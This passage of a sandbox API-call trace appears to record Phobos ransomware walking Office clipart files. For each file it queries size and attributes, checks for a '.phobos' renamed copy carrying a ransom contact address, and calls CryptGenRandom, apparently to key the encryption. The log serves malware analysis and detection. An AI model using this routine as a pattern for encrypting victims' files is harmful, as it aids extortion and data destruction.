Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.968] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.969] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3894) returned 1 [0151.969] CloseHandle (hObject=0x564) returned 1 [0151.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf")) returned 0x220 [0151.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.970] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.972] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=42254) returned 1 [0151.972] CloseHandle (hObject=0x564) returned 1 [0151.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg")) returned 0x220 [0151.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.973] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.973] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=28276) returned 1 [0151.974] CloseHandle (hObject=0x564) returned 1 [0151.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf")) returned 0x220 [0151.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.974] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.987] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6158) returned 1 [0151.987] CloseHandle (hObject=0x564) returned 1 [0151.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf")) returned 0x220 [0151.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.989] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.990] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9676) returned 1 [0151.991] CloseHandle (hObject=0x564) returned 1 [0151.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf")) returned 0x220 [0151.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.993] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.994] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6554) returned 1 [0151.994] CloseHandle (hObject=0x564) returned 1 [0151.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf")) returned 0x220 [0151.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.995] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.996] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2060) returned 1 [0151.996] CloseHandle (hObject=0x564) returned 1 [0151.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf")) returned 0x220 [0151.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.997] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.998] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7498) returned 1 [0151.998] CloseHandle (hObject=0x564) returned 1 [0151.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf")) returned 0x220 [0151.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.999] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.000] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2652) returned 1 [0152.000] CloseHandle (hObject=0x564) returned 1 [0152.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf")) returned 0x220 [0152.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.001] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.002] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3840) returned 1 [0152.002] CloseHandle (hObject=0x564) returned 1 [0152.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf")) returned 0x220 [0152.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.003] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.004] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31926) returned 1 [0152.004] CloseHandle (hObject=0x564) returned 1 [0152.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf")) returned 0x220 [0152.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.004] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.010] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=44794) returned 1 [0152.010] CloseHandle (hObject=0x564) returned 1 [0152.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf")) returned 0x220 [0152.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.015] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.017] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11628) returned 1 [0152.017] CloseHandle (hObject=0x564) returned 1 [0152.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf")) returned 0x220 [0152.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.017] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.018] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8016) returned 1 [0152.018] CloseHandle (hObject=0x564) returned 1 [0152.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf")) returned 0x220 [0152.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.018] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.019] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=33230) returned 1 [0152.019] CloseHandle (hObject=0x564) returned 1 [0152.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf")) returned 0x220 [0152.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.020] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.136] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9290) returned 1 [0152.136] CloseHandle (hObject=0x564) returned 1 [0152.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf")) returned 0x220 [0152.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.140] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.142] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=37260) returned 1 [0152.142] CloseHandle (hObject=0x564) returned 1 [0152.142] GetFileAttributesW 